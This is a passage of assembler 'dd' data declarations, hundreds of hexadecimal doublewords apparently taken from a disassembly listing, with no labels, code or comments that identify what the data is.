		dd 0CA3B4473h, 26F202C1h, 0E1F7B753h, 68005856h, 953D39E4h
		dd 88482FE8h, 4358B70h,	6331BACh, 0DEA844B0h, 22012D26h
		dd 29159E46h, 74405E8h,	3E88BEC7h, 586CDD2Ch, 38498EE9h
		dd 463309B7h, 0AF00FD12h, 74843504h, 2D715B01h,	0F07F17B0h
		dd 9BDD093Ah, 81A9EDF3h, 1667F5E9h, 2F46D312h, 0BF9A9918h
		dd 0D2056F05h, 0C55D015Eh, 21D20B09h, 41AF6D73h, 5D027BE6h
		dd 597801D5h, 0D82F5852h, 474B2969h, 27E99798h,	24E6E478h
		dd 730C845h, 0ABE75A08h, 33C3EB77h, 2D3400D8h, 529D08DBh
		dd 551C801h, 0A42C7C07h, 0E987CCBAh, 0B17CC5Eh,	23ACABFh
		dd 0E0E9525Ch, 0C20CF47Eh, 3B6C45DDh, 5C62D22Dh, 1F7EE976h
		dd 5C987D7Ah, 0A48BB53h, 0C1400371h, 9AE906EBh,	6BC3DC49h
		dd 793B79A7h, 0E412B579h, 582549ACh, 0F7391A4Ch, 0F86882E1h
		dd 5DC0E96Bh, 2E2565F0h, 8510FD98h, 0B5AC09B2h,	0B0BA6420h
		dd 6B501F3Ch, 0AE5B16D1h, 5490119Dh, 946809DFh,	8282F71Eh
		dd 0D206752Dh, 349C79D6h, 42697F6h, 1333A1A0h, 0C5F8510Eh
		dd 0D2FB7582h, 0AC48A0CFh, 7B1778BFh, 0AB8167E3h, 903B4733h
		dd 0A708901Eh, 6A2D1F25h, 2D88F06Ah, 0A0FEF18Ah, 4839FD40h
		dd 64F0B80Eh, 42CEDBEh,	8704A067h, 0F1F1EBD6h, 0B21623ECh
		dd 11C30081h, 0E281454Ah, 0F704175Bh, 0C45DE92Bh, 416EEAB4h
		dd 10F530CAh, 0FCC05341h, 1FEC3080h, 885BC306h,	0C720E364h
		dd 7FEE8907h, 4F2072E9h, 279B5B23h, 5F02914h, 19904007h
		dd 53E89E4Fh, 2D213499h, 0FEA80D8Ch, 0E3010ACBh, 447B2750h
		dd 16AF5457h, 0C5EA040Fh, 0E0BAFE9Ah, 26707EF5h, 90CA7EE1h
		dd 0B8704E4Eh, 476A4E92h, 0EFB18FE5h, 165B3EA4h, 0F86F3D74h
		dd 67C63010h, 79FC2FC5h, 70896258h, 6C74113Fh, 52EB36B4h
		dd 98BE065Ch, 0CA0C51D8h, 4C170B11h, 17BD60D6h,	77F39AC3h
		dd 0F0019E2Ch, 3E9CA84h, 0B75A21A0h, 0EFEFB0FCh, 2E8853DEh
		dd 74DD3D3Ch, 89209794h, 0B2CE1785h, 50568BB6h,	71BB0CA5h
		dd 0A2362F17h, 5FF72B40h, 0D274ACD0h, 165C1AFBh, 36896B63h
		dd 75E9E82Ah, 9E8A7940h, 0D5434BE1h, 81B4FBF1h,	0BF94C277h
		dd 136FCAB8h, 9F950122h, 0DA1CBE73h, 4E8C6F5h, 4739761Eh
		dd 0FED9AA31h, 0BDE27420h, 0D2E962Bh, 0C7A3BF89h, 5FDBFD01h
		dd 0A33828EEh, 29FA4F99h, 0C9E7F882h, 0F7726897h, 267CBD5Eh
		dd 0DFCC8162h, 0A5F60D22h, 3F92D1FDh, 1F2668FEh, 4EAD0F82h
		dd 0D3420167h, 9B400682h, 1B7A90E1h, 0DA8AF82Ah, 1696287Ah
		dd 0BD602C58h, 2119E8C0h, 0C927D99Dh, 0B69BEFCh, 0CEA95713h
		dd 0E94189F4h, 61339E22h, 5DFEBB01h, 3B313BA1h,	0DC3E18F9h
		dd 1168F961h, 0C7252A34h, 79312910h, 0C4E9F909h, 7179909Bh
		dd 0ED29EE67h, 261ADFF0h, 274E4E10h, 0B97788C6h, 1510D18h
		dd 4EAEF2A0h, 0B0EDACFEh, 5B705290h, 5F65EB01h,	0E9BD42FFh
		dd 374AC235h, 3DEA5BC0h, 72E341Fh, 5FB0D552h, 0BF799758h
		dd 892FE6C3h, 0E855B5Fh, 0BA0261A6h, 67D8801h, 0C73059EEh
		dd 5C02FF94h, 209BE4D5h, 801A99B8h, 820620F3h, 0E188E361h
		dd 0F7021E1Ch, 54C60EC9h, 78A304B5h, 11CB1E20h,	9305D8Fh
		dd 94B551F6h, 0F0DE9D15h, 223E5359h, 0F95D5BC5h, 51E984B9h
		dd 278AEE17h, 0FEA31185h, 0EA00E7CDh, 2BA3888h,	2C67BE01h
		dd 20F76973h, 8FAF68Bh,	191F4D3Fh, 0E8D93E09h, 1E90277h
		dd 0F659F5F3h, 88885045h, 0B4E74BD8h, 0F0798872h, 6A62582Eh
		dd 0F63DF546h, 48099746h, 0B5FE7F5h, 0EB07E7C1h, 251C1E3Eh
		dd 4B13C557h, 20C22809h, 3E7B0F81h, 0FA1D6F46h,	0DE9603CCh
		dd 19AF04EBh, 0FC29679Ah, 5A084055h, 0AD0B8B29h, 200F8708h
		dd 0EE10C96h, 558E68F3h, 93A26FE1h, 8566F1C4h, 0A80050Eh
		dd 21F2AEF7h, 816193DFh, 0C0CBBE16h, 0BB0E1A43h, 65DB5486h
		dd 0A422F329h, 25B15CB0h, 0A7616C12h, 16257F62h, 0D073E2FBh
		dd 308204DAh, 0D4AA5C08h, 5B0809CFh, 0D6E9C7F4h, 9D6A642h
		dd 7F7E7580h, 0D5F3AC67h, 0C23EEE41h, 163D68F7h, 2F8822F1h
		dd 27502DF6h, 57CAE31Ch, 8ECF18FEh, 1276CD4Fh, 1B0629h
		dd 95D636BEh, 0EF65096Eh, 0B320D3E6h, 58C21EABh, 0E35F5CA1h
		dd 7066D3DFh, 0C01B2CB4h, 44D4CBD3h, 8872F207h,	6BAB5DABh
		dd 0EE0C67D6h, 0EECF2D46h, 6D20B7F1h, 4F731D20h, 0A55B0FF4h
		dd 25E69FFh, 0EDA29DDFh, 4FE171E2h, 3CAB2A26h, 0FC9AD795h
		dd 4A049C95h, 0E709EE5Ch, 50F7E086h, 842AE552h,	79D4C711h
		dd 460C6857h, 474E1E9h,	5543DE5Dh, 0BE00DA3Dh, 21781BAAh
		dd 2E1DE681h, 0FEE85D0Eh, 1A4E849Ah, 0F373E7F8h, 5C8A9830h
		dd 4585CCD7h, 92E9E20Dh, 9EBAA316h, 0D5E93FC7h,	104D6DC0h
		dd 0E24A6B5Eh, 47301614h, 5A8741A2h, 0E88BE555h, 0FB0BD3F2h
		dd 0B7DAF80Eh, 0E8325F50h, 5CFD7135h, 0C531771h, 0E737D9F3h
		dd 8558EF95h, 21A2B7E9h, 35F8259h, 95700052h, 0BA3D2A12h
		dd 0B51714F2h, 0A904312Dh, 290903A8h, 4896C475h, 0A9408066h
		dd 64789754h, 5A7E7C95h, 0D233F87Fh, 0D89DA115h, 0EC8534Eh
		dd 1E790A6Ch, 32DD8F0Eh, 0AA635FD2h, 0E918C313h, 8E3B7C0Ch
		dd 86C21647h, 4F46B20h
		dd 6869096Bh, 0AC645141h, 0EBBD5502h, 0C171E066h, 16068A6Bh
		dd 89531E07h, 14C24D18h, 881AA335h, 0DFABD1C6h,	25683564h
		dd 0BBE64E31h, 7B305A30h, 0F1592EBh, 0CB297BDFh, 25C1A9A9h
		dd 0FF777F59h, 0B6633E3h, 0C67681Ch, 3C79B974h,	0AE18656Bh
		dd 0FDFA3F92h, 0BD6040D1h, 507F17B7h, 0C3E316h,	81366723h
		dd 64EF6E1h, 0F9BC115Fh, 0FBDFD13Ch, 9D688C40h,	0B8740879h
		dd 8CAC5E57h, 91413A02h, 47D1E447h, 0E4EC4356h,	0A92EE171h
		dd 1A68A01Ah, 0C16CAB32h, 0DA6E617Ah, 20E21024h, 305B6609h
		dd 9C52875Dh, 576CA9BBh, 7E97D896h, 68D74C99h, 23B34A4Fh
		dd 58134C42h, 0E3CAAA53h, 0D060B292h, 7F2302A6h, 964143D2h
		dd 685200D1h, 46A464B3h, 0D6B4F75Ah, 1043302h, 9A89C072h
		dd 507D3005h, 0AA1BD418h, 0D789DB0Bh, 169C755Ah, 4F5B7EC1h
		dd 0B56F6045h, 0A408047Ah, 0D4417FEBh, 5418525h, 0A4F47CEFh
		dd 8872968Bh, 2500AA03h, 444B6845h, 3F690535h, 8081639Fh
		dd 65F3A9Dh, 2DE1295Bh,	0CC10804h, 3055081Ah, 0A09F7409h
		dd 120A2DB3h, 0B8084EC6h, 0C6EC5F84h, 367368C2h, 3012EAA2h
		dd 0EF26264Ch, 6E834741h, 0A80F4E5Eh, 0EBE64D9Eh, 1C1047Eh
		dd 90A3BACAh, 6132A75Eh, 0F5E95D1Fh, 0B483238h,	3E84CB0Eh
		dd 0C30E43ACh, 0B44063Eh, 7E07E3C1h, 2AB807C6h,	0EF01F46Fh
		dd 4AE959B4h, 9A91A405h, 35F57304h, 3E81D629h, 0FC6D4E34h
		dd 239BEB02h, 6C56622h,	3453BD81h, 28834B3Ah, 0F6C2EE3h
		dd 5DB1840Eh, 9A29EF55h, 1C080D1Ch, 86E91400h, 0A581BEC4h
		dd 68571BA0h, 0AA7442B0h, 0FA295F12h, 0F7453AF0h, 28BF23B1h
		dd 0C9BA3C0Ch, 9126069h, 0C75E5EF0h, 0E374B2CBh, 6286B277h
		dd 6211D1FFh, 0EED51754h, 64BE0F1Dh, 6B74906h, 4CFA132Ch
		dd 1266FC9Fh, 802C81C1h, 0BCED60F1h, 0FEE66844h, 0A2A34A50h
		dd 574789EEh, 0D2F210A0h, 2B7B1834h, 5E353F38h,	0FEB494BCh
		dd 30B0E587h, 0BDC7FDE9h, 0E80B3465h, 0B0F059C9h, 110568BBh
		dd 0E961B2B1h, 0D02A8529h, 0D474EA6Fh, 890CF32Fh, 0C13BDF9Eh
		dd 10B83415h, 29212792h, 0DA14F74Ah, 10B95448h,	68095ECBh
		dd 37965D1h, 9C718D81h,	0F178574Ch, 0BDE99505h,	8A1196DAh
		dd 451DBE0Fh, 0A7708528h, 3BC59240h, 0F62A1704h, 5D366072h
		dd 20D65EFh, 0DA215B1Fh, 6840BE49h, 0B854CC70h,	15F3B94h
		dd 979250BFh, 92BFBC37h, 80352614h, 0B850DDF7h,	0E24900EAh
		dd 3C193540h, 7EBD23ABh, 4D9B3FFCh, 21E8244Fh, 0C1283454h
		dd 3337FEE8h, 36D0561Fh, 0F47E0E55h, 141C6BD1h,	76C4A07h
		dd 5BC357E3h, 1CB241F9h, 9969DD6Eh, 0FB8154BEh,	47753F87h
		dd 7046CE1h, 9B2000ECh,	3F685909h, 91E457Bh, 0DBF0C8E9h
		dd 180B0575h, 521F8C3h,	0C85CFFDDh, 9EBBBD4h, 7F316BDBh
		dd 0B0074F84h, 0C5B33B6h, 0D92D3DEEh, 0F47579EEh, 48AB22AAh
		dd 0C780A6D4h, 3A3167A8h, 0F7E0E347h, 507618FAh, 0DBCD0C7Bh
		dd 5C77B327h, 5344012h,	0E918404Bh, 0E67B060Eh,	0F9101E07h
		dd 0FC3BCD12h, 97A16E5Ah, 1C4F6099h, 2F93F969h,	0ADE3FC40h
		dd 9877D938h, 0FCD4807Fh, 0DE8780C7h, 0C64EEAEEh, 4B218528h
		dd 0DE6AADDBh, 4AF09ED7h, 22FE6B9h, 0E1C12E98h,	46614106h
		dd 0C1F92FA5h, 0D84BCB9Eh, 0A2F3D66h, 5D17BAADh, 0ADB857D1h
		dd 0AF337FD4h, 5C54D7D9h, 0A46E4A53h, 5FE7C117h, 0C02BC8CAh
		dd 53F329A3h, 97092ABAh, 8509B831h, 704EEDDh, 0BAE38E9h
		dd 0C6775C78h, 52BA056Ch, 85558B72h, 0DF44AE36h, 3E81EF29h
		dd 0E93AE15Ch, 0B1518261h, 3E4DDA0h, 9B06DC65h,	82C10909h
		dd 0FDA2B56h, 0EC22F4CCh, 0E3280909h, 91810458h, 12CFB8C3h
		dd 0AA8C87DBh, 6123EB4h, 0C016B450h, 0DFE650E4h, 79FA62BFh
		dd 6E1B820Ch, 0FA805797h, 69FC680Dh, 161378BFh,	0BFCF22E9h
		dd 0BD3E4499h, 16FBE4AAh, 52A8974Fh, 4740B70Ah,	0DB9FBB79h
		dd 915508BDh, 2E640B3Eh, 1D0F5447h, 6A8D8017h, 3E94F681h
		dd 0E91B590Fh, 4CDDD3BAh, 0E9A3607Eh, 29A9615h,	4D781C02h
		dd 61C80138h, 0F105C327h, 4CEC6F83h, 0B27E7900h, 135EE9A7h
		dd 0E6402E9Fh, 4F6B25F9h, 58ECF9EBh, 0C9EDB4ADh, 0A0E9A24Eh
		dd 0D3B727E9h, 0E80EA12h, 4A730A3Eh, 2C5EBF2Ah,	0ABE35B5h
		dd 12113369h, 0B07AFC5Bh, 2968D231h, 0BCE47D13h, 0BB03B2Dh
		dd 8C064003h, 0C9B6E925h, 0F8745AE1h, 4188D362h, 6F6041C7h
		dd 4F3F79B4h, 8493CC2Ch, 0B3535000h, 0E9D888DCh, 0B18067ACh
		dd 0C39D72E8h, 5BD5E6FDh, 5FA7E9F5h, 0FF2D3C32h, 0E0E972A2h
		dd 0D8771CCAh, 0EF172DCh, 0D0F659C8h, 25DC6EBh,	11B39A3h
		dd 0F428D305h, 0F0280153h, 0FDF8072Dh, 1225597Fh, 0B515785Eh
		dd 0C25F0D0Bh, 0AA108237h, 8BDEC545h, 26DE535Eh, 72B68E1h
		dd 3160A14Dh, 21F998Ch,	29146D50h, 0AD21737Fh, 5C959058h
		dd 874E4245h, 7720FEF2h, 580BB7B1h, 4D266554h, 2E1F3781h
		dd 983F5D64h, 414B39CEh, 20D7C340h, 53290AD3h, 313B13EEh
		dd 0B24030C1h, 93E2224Bh, 0D9010518h, 2505D8F7h, 3DAD32C6h
		dd 0CA68B891h, 0FEE901E2h, 0D9AD6F8Dh, 8A56FFF4h, 0BE97B6E9h
		dd 498C08C8h, 0FB93456Bh, 30E9EACCh, 0ED5DB0A2h, 6B2FB162h
		dd 0CFD048F6h, 0E512041Dh, 0A858E93Fh, 0BFA64BF6h, 16CD5D1Bh
		dd 0B72BCFDh, 46218068h, 85C54B92h, 0AC18A878h,	82C0B45Eh
		dd 151E4D03h, 0F8A5CCD6h, 0E90B80BBh, 0F4DC5E50h, 5F1202A4h
		dd 760B4E96h, 619EA2AEh, 5BABF43Dh, 30227600h, 0CD0169C7h
		dd 65E0B757h, 23BE5B12h, 0FD743509h, 0ACA8A80Fh, 57EDD100h
		dd 5B2D8968h, 4A3A914h,	219253EBh, 899C4CC6h, 0FC41CD08h
		dd 4152AA73h, 3897C454h, 0BD70B495h, 0A4561256h, 0B44F5529h
		dd 7A60B17Ah, 5CE2AEB8h, 91E7655h, 6EFDE86Ch, 68E71B85h
		dd 0BE84EA92h, 80FF3324h, 0C0B1F533h, 101A569Dh, 0DC2924E2h
		dd 6049942Eh, 0B4BD0412h, 0D097BBD9h, 0E71229F7h, 753E68E0h
		dd 3820C697h, 0FE4A52BBh, 27813374h, 468EB7B4h,	0E45BC288h
		dd 3B23ACADh, 0C8309CF6h, 408C198h, 0BE2CE401h,	0A75251A3h
		dd 3DB2C53Eh, 0CA635CCCh, 0FCBB505Ah, 0E3C2E2CAh, 577B42FFh
		dd 737DDF32h, 3E6CEB67h, 0D7733418h, 6BF7D31Eh,	0E3C408DAh
		dd 0A0B1490h, 7D2AB53Bh, 0D6E97068h, 567089B7h,	511F0239h
		dd 40400925h, 0E70B7B1Ch, 0DDC531E6h, 923F5997h, 40FF5DEEh
		dd 4F03C7ABh, 0DE9F4BE2h, 93082066h, 121326F8h,	645DCC54h
		dd 9DF3E13h, 45BBD352h,	0BF27D2BEh, 0FC098A71h,	0BD82412Ah
		dd 39AC30h, 60BF50F1h, 67A81866h, 17B6E0Fh, 68081CD0h
		dd 51BE141Ch, 7EC03A20h, 9227DE77h, 60EC9C72h, 72E9575Eh
		dd 0BB78AE60h, 4CF1EC0h, 0F1F38148h, 0E9DF8056h, 199FAB5Ah
		dd 1164E5FDh, 45C00E05h, 0F3A17933h, 611D2D2Fh,	78FD28Eh
		dd 0E9091134h, 0FCD13CFAh, 8F2FCE82h, 9D5E7812h, 20E9F15Bh
		dd 7865ED37h, 0CE1FC3Ch, 7E322026h, 12722F0Ch, 0C1593Eh
		dd 68524107h, 4DBB7B2Ah, 815BE02Eh, 194ADDCh, 13BE6C1h
		dd 846FCF77h, 0D257300Bh, 74507317h, 416099AFh,	7E2265C7h
		dd 0B593A237h, 1028971h, 8BF88FEh, 0BB555D0Ah, 0AD286100h
		dd 0C263BD1Fh, 7444E90Bh, 0E824AEAh, 0C0824F5Fh, 5E06F6BAh
		dd 50BE256Ah, 3A1E3164h, 0EDCA0B33h, 0E7C08520h, 725460Ah
		dd 0E949D1F7h, 187DB955h, 16FEC765h, 44D9CEDh, 0FC86E9C2h
		dd 0ABF00D7h, 0F7176712h
		dd 304764D7h, 1F678003h, 0C5B62F4h, 5498D3C6h, 7BF9707h
		dd 51CE1A15h, 3BEBBE47h, 5553C223h, 0F24209C7h,	0FA8BCE7Dh
		dd 6D02B7ABh, 1A416FB8h, 0A6A16E63h, 6BA4273Bh,	0E7A2A47Fh
		dd 84CFFE07h, 0C050C0F9h, 801204E1h, 20CCDAE9h,	17CE7288h
		dd 0F0595AF3h, 285E2F3Ch, 0ACD264EBh, 464D1072h, 10775C2Dh
		dd 9130D48Fh, 241A6BEh,	2C377AB1h, 530C7950h, 258119E9h
		dd 0B00B95FBh, 30A707F1h, 9F443789h, 0CDB53566h, 9CE9854Ch
		dd 0D7C0AC13h, 15B2E4F8h, 0E89130F8h, 5A805544h, 5A0A6F89h
		dd 120EC61Eh, 8303B774h, 0E781473Eh, 3FA5D1D3h,	0FDE9F141h
		dd 0C0BA007Fh, 0B15106E0h, 0ECE8725Fh, 1FB96809h, 0A899DD9h
		dd 970E4486h, 834A041Ah, 2A696161h, 17429A47h, 1B31117h
		dd 0C16448E6h, 0BBF74112h, 12B9B631h, 0B889AF14h, 5980A060h
		dd 0E9895B2Eh, 99103D8Bh, 1E7C2CB3h, 83CF74BDh,	23FE1187h
		dd 66F60C09h, 0BCBD02E1h, 0D2535FEEh, 0C3ECFC27h, 572D8469h
		dd 0D9AEEBEBh, 0DF28E745h, 0F78FBB93h, 19DA4C74h, 0C404038Fh
		dd 0E92BDCFh, 0BEA104BAh, 9C6198CAh, 187EF598h,	0FA787338h
		dd 5D8A400Fh, 4E2EEEBDh, 0C49CA258h, 50088BDh, 29912E4h
		dd 1A0B58EAh, 105F03B3h, 0F7C30195h, 0F7055B4Eh, 0FA6D68F9h
		dd 0E2A9B45h, 4C9569EEh, 712D6854h, 101275h, 821A7EF2h
		dd 86BE015Dh, 1A27DE5h,	0BFB33AFEh, 0BFA5E938h,	91019875h
		dd 1C82B309h, 14A4949h,	10D6B381h, 57AB20CFh, 7A765C95h
		dd 0D83209A2h, 618D92FDh, 8B7C1EFFh, 0C2465EC9h, 2525FAB7h
		dd 6998D3EEh, 0EA95C5A6h, 59EBFDACh, 6E44A2D9h,	7F021249h
		dd 7122EA96h, 45FA9E47h, 0A2B4EA45h, 29B209BBh,	0E4555F05h
		dd 3F060330h, 0D8E960A5h, 212F28E6h, 287BF8h, 0B08A22Dh
		dd 0C64E89F1h, 0F702D48Bh, 1CBF68DEh, 9F20F5ECh, 0E3E91323h
		dd 594CF302h, 12C84866h, 4CF6EBDh, 96FB4C78h, 3B85E977h
		dd 0F854575Ah, 7E3A06E9h, 33A7445h, 682F6C82h, 2D6D5F7h
		dd 1FABC148h, 92AF46E9h, 9B7AD74Ch, 7D83C425h, 7AB46910h
		dd 12E00B48h, 82537C29h, 0EC7201FBh, 2E53B021h,	1162C1F2h
		dd 53CA26E9h, 0A4C4477Fh, 0D1C5968Fh, 6A87F5D8h, 0D1FB7385h
		dd 8255A9B3h, 463AC61Dh, 0D480FF03h, 3CC81FF5h,	0DEA0C0B8h
		dd 0B2D3F4Bh, 2E0FE44h,	34D46698h, 6029E080h, 500B4817h
		dd 0F21D28E9h, 0FEDFD351h, 0C44B4688h, 83CB0115h, 0E28927Ah
		dd 7827C35Ah, 0CA1A48B7h, 46F51D7Eh, 0C2287C29h, 0CD429508h
		dd 0E06CEBF7h, 2629274Eh, 10DB4273h, 21EF5A85h,	24597BFEh
		dd 5C4BB6D4h, 0F6928AF3h, 6B2956E6h, 0EE36DD12h, 1808F827h
		dd 0BE671368h, 3CCD60D5h, 0F29D49A1h, 726DE67Bh, 0FC5C9044h
		dd 3D691497h, 10279B53h, 57F638E8h, 280A4906h, 0E6E6EEC1h
		dd 80722616h, 40B413DEh, 138CBE4Ch, 0F2F67DD1h,	2E0C2B5h
		dd 0BAFAC82h, 0C4100057h, 5365F1Bh, 377E75BEh, 0BAA5BA1Ah
		dd 2E94C1D3h, 1F2CE6D8h, 702336Fh, 5906C3CEh, 0A148DC8Bh
		dd 87B8D301h, 4E703FFBh, 2D685358h, 0FCE634B5h,	5F257F7Ch
		dd 0F5FD07Eh, 8F8CEC3Dh, 1457EEF2h, 0E9573CEAh,	7DDC2225h
		dd 434B1810h, 5B1D8F24h, 0AF117B03h, 40C0527h, 0A8E4D657h
		dd 406A3F51h, 5058BD31h, 978D804Bh, 56254D2h, 0B331CE68h
		dd 0D0965068h, 7F8A557Dh, 0D80E4284h, 0D96003A7h, 380CEEF7h
		dd 18B88Ch, 0AA41B3C6h,	0E9F3896Fh, 7D5F220h, 0BA55862Dh
		dd 2F45344h, 0EE055EE8h, 0EB41DEE7h, 512C7463h,	88A5B501h
		dd 665059ECh, 76D41090h, 0CBF880F2h, 0E9CF14C1h, 92BE9005h
		dd 3C07BF8Eh, 74FE0987h, 6A31AA5Fh, 0BD34F0E9h,	59982E04h
		dd 34230E6h, 5805B050h,	0C8FE1524h, 5A8E385h, 52575B0Dh
		dd 0F27824A3h, 290D6E4h, 1024D80Ch, 26F5EA43h, 80437F25h
		dd 704D52FFh, 504AF329h, 21A3D0BEh, 0E6985AD3h,	6C02C37Ah
		dd 0E9517254h, 4D47E2Dh, 0FB06E3C0h, 73CB8EE0h,	0ACC33860h
		dd 66E9DE04h, 8EFCAC48h, 2DD08058h, 0D21B7D9h, 0A5DCE96Eh
		dd 7F7820B3h, 0BA4415FBh, 8337067Dh, 72AA0104h,	8CB3EB61h
		dd 9055E62Bh, 12E4649Eh, 621C366h, 6A88B7C9h, 0FF059C49h
		dd 0FEB3672Eh, 8BBC7152h, 0F3CBE05h, 0C1C9FB5Ch, 279D1DCCh
		dd 0E850F66Eh, 225E40CEh, 0D7238CE9h, 6810779Ch, 0E90B01B3h
		dd 0B8737EBDh, 0A87DAABDh, 0DC776825h, 0C0B2CF56h, 0D7EA80A6h
		dd 55D1302Fh, 3028AB07h, 39E9362Ch, 811A9658h, 0CD87D1F7h
		dd 3575ABEDh, 0E365FA2Bh, 9CEE3D13h, 55701ECCh,	7B435C9Fh
		dd 6BE920B4h, 3016C578h, 8F10BCBh, 77EC61D5h, 3028D8C1h
		dd 88A141D3h, 4859C1E9h, 0E6B4866Dh, 4A569536h,	239741BDh
		dd 3A027C15h, 2F2E7500h, 0A1FB2972h, 940BECCh, 0BF5EF589h
		dd 5FC7C651h, 81C4C3C6h, 0B82B5826h, 0F168E15Eh, 0F87FA9FEh
		dd 413B097Bh, 61541412h, 166E4259h, 970501E0h, 2E779110h
		dd 135094BCh, 324C09F5h, 678F2C0Ch, 0E46BE6A2h,	0F52529F4h
		dd 618E6F16h, 9652E917h, 6FD11360h, 7D2B0C8h, 6E2935CFh
		dd 2AF76001h, 4250B808h, 0ECE8318Eh, 0F42E709Dh, 0FF9AB762h
		dd 0B3AEB660h, 0AFA147B7h, 7F744810h, 344948B7h, 450291BFh
		dd 0FE76D75Ch, 0FC90578Bh, 0BD3D36DEh, 4AB1A63Bh, 0C0024B9Ah
		dd 4C69BE15h, 4A1086F9h, 46B902E0h, 0DA9E44B5h,	93E52457h
		dd 6CD95359h, 2CD73938h, 25899B03h, 6ED7B076h, 0B0F58295h
		dd 0BDDF6863h, 2309FE4Ch, 0F5032256h, 0E66C08AEh, 0E902960h
		dd 570C780Dh, 45600C3Ch, 50EC0218h, 7B67E7B8h, 8BF004D7h
		dd 8E5947BEh, 0B46F7707h, 4C82FD75h, 5DD8104Bh,	5D02900h
		dd 10CF7C30h, 0BC915A5Ah, 5006C216h, 0A0B7D17Ah, 0B81E9685h
		dd 0F0E2F43Ch, 24470BCAh, 98F85DE5h, 0BD6E9B0Bh, 79AD000Ah
		dd 0B91BE88h, 215AD631h, 0AC240493h, 2D005C66h,	6305E8D1h
		dd 39A22536h, 140BD056h, 0C30BD6D7h, 8100AE9Ah,	4B7A9EF6h
		dd 0CDF18905h, 54DAD150h, 3A2DFA41h, 0F0A4913Eh, 0BD6B096Eh
		dd 12E9836Ah, 0B5430BA7h, 888EC07Fh, 0BD82F6CBh, 465F5901h
		dd 8B41E57h, 0D0CC39C0h, 76A09820h, 80320D09h, 7CB05039h
		dd 0FDEE8113h, 8327D077h, 2A4499BEh, 7A0C0419h,	87B2AFC0h
		dd 0B0651E24h, 80D0BA5Fh, 271D16E6h, 0E2DC79A4h, 0BBFDA502h
		dd 0DEE46AADh, 9D770CCFh, 0A39843C0h, 0C194B35Eh, 9540B213h
		dd 0DF1086F6h, 0AE52C156h, 0BA313F44h, 0E8478F70h, 0C7F18720h
		dd 5122E5B3h, 38621A7Dh, 0C87F2925h, 4FA1E97Fh,	0C47BE3CCh
		dd 680392DBh, 1512126Bh, 2BC84415h, 86044401h, 0A0119D2h
		dd 541B0FF4h, 0B5437BECh, 29F0FDE4h, 7F8B099Dh,	8201A687h
		dd 0BDE20603h, 6F18488Fh, 5FBC66D7h, 0E153046Bh, 0BF9349E8h
		dd 0EC4B5A9Eh, 8300F484h, 12F27214h, 0CEDA58F7h, 7053982Fh
		dd 4FCB4F3Ah, 3479BF01h, 304F2BB5h, 0C0DD0206h,	0B6112D4Eh
		dd 412BEh, 0CD53D743h, 0EF13315Bh, 50E0895Dh, 0BFD24AA9h
		dd 0E912E2DFh, 0E1ABCDEDh, 0EBC7C665h, 0DD2418A5h, 0EE59975Bh
		dd 98002DA4h, 2913DF7Ah, 17B9B8C3h, 0EC58A568h,	555C39Bh
		dd 5F539AA4h, 3282B4E5h, 0F5309C7Ah, 45C2E3E8h,	0A704F04h
		dd 90BA60E9h, 0BF47F5C9h, 61F64225h, 93A27B5h, 0A7FD2D43h
		dd 0CEB35B5Dh, 0D50987A8h, 0D695781Eh, 9456502Ah, 0BD5D5C80h
		dd 7569AA56h, 0E956AC10h, 52864825h, 0EE313926h, 0C609F533h
		dd 0D9E9F0C0h, 35CA815Bh
		dd 7E80EE02h, 0A406DCDh, 0BE75455Dh, 3FFC7CB5h,	280B22E8h
		dd 0D11783D5h, 72B55E9h, 6020BA51h, 0EA814CC9h,	2236F709h
		dd 0E913C06Ah, 807DEF7Eh, 38543709h, 0E2C51687h, 5AC89B1Ch
		dd 6E2652DFh, 0B309C734h, 8354D6FCh, 63B26194h,	3F8DF4D9h
		dd 0F39E8FACh, 3E045A0Eh, 3A701EB0h, 85150BAh, 37E95E05h
		dd 15B3FBCBh, 0C1EFB293h, 503736E9h, 5C86EA40h,	68021F32h
		dd 0BCBABD0h, 0EB7237FCh, 772F430Ch, 0C9FB3260h, 65D4F96Ch
		dd 0AF9AE72Fh, 0DD25F674h, 0E6E1CABBh, 0C7306899h, 27BF7CC5h
		dd 0BAFA89EEh, 0F78B541Bh, 6B5A0BC0h, 0CB44B562h, 14988E81h
		dd 0FB19EBA9h, 30E56DC2h, 275BEADEh, 40F0C5CCh,	0F17F3139h
		dd 0FD7E0625h, 27C9D710h, 0DE754D24h, 4B4F9A13h, 0C1603221h
		dd 92D776Fh, 95E95358h,	0F87ED5A9h, 2DC0F02Ch, 486F76DCh
		dd 26750B17h, 3EF57BEFh, 2B680750h, 2C7559Ch, 6F9313F4h
		dd 0F39E8580h, 570307FCh, 0D83DCDBFh, 96C7E075h, 0B023F673h
		dd 303FFE52h, 790C4732h, 4E0CDD6Ch, 56975FE9h, 0BA0D0048h
		dd 5469927h, 0AC017D12h, 1EF03547h, 726C61FAh, 0F14FE909h
		dd 98AFE455h, 16EF0529h, 80490A05h, 0D40A22Ah, 0C9015EB8h
		dd 2C373277h, 0DA89E9C1h, 0F6F6067Ah, 0E5F277D2h, 0B3814EBDh
		dd 2A428B8h, 3952EA1h, 0C4F7CA29h, 0F75B17C8h, 1C72E0D9h
		dd 0DF0AB02Dh, 0E0F59912h, 0C064E171h, 0C005D859h, 275CD46h
		dd 16616700h, 0BE565345h, 0F47004A0h, 0AAEED13Eh, 0AB3F6904h
		dd 8E864B8Dh, 7210DC78h, 0F0B038A1h, 41766940h,	65562A35h
		dd 0F4C704AFh, 10BA142Ch, 6809F0FCh, 0B6B25A4Fh, 6A74CA5Dh
		dd 0B98202F4h, 0AC998C12h, 5B6F34E9h, 15D8AF57h, 8FF74829h
		dd 38578127h, 94353B34h, 7C3A827Eh, 65FD3FC9h, 97142D31h
		dd 9E919C4h, 0BD02A6F8h, 5A185B54h, 20B4585Fh, 59588C51h
		dd 89B74A4Dh, 2BF5708h,	7A46E985h, 2FF4D052h, 0E29C5B7Eh
		dd 0C92B8B52h, 0DADCCD10h, 0D190A8C5h, 0F4094E5Ah, 0F248817Eh
		dd 0DEC71229h, 4C48D9FCh, 0C5DC4627h, 5ACE50E9h, 0E030F889h
		dd 0B309A968h, 40540267h, 18E07217h, 493320D2h,	0E0030C26h
		dd 5101107Ah, 806F5D1h,	214820Ch, 4802E18Ch, 3B5F107h
		dd 0E9684F42h, 0AF858596h, 5C8BF8F7h, 0EE00C6DEh, 7DC13A88h
		dd 355A9DE9h, 0E0BE4E58h, 4BD75BE9h, 134CE016h,	0CAECCB7Ch
		dd 911F857Fh, 0B924C117h, 46B4303Ch, 0F780D6B1h, 0A06F30FDh
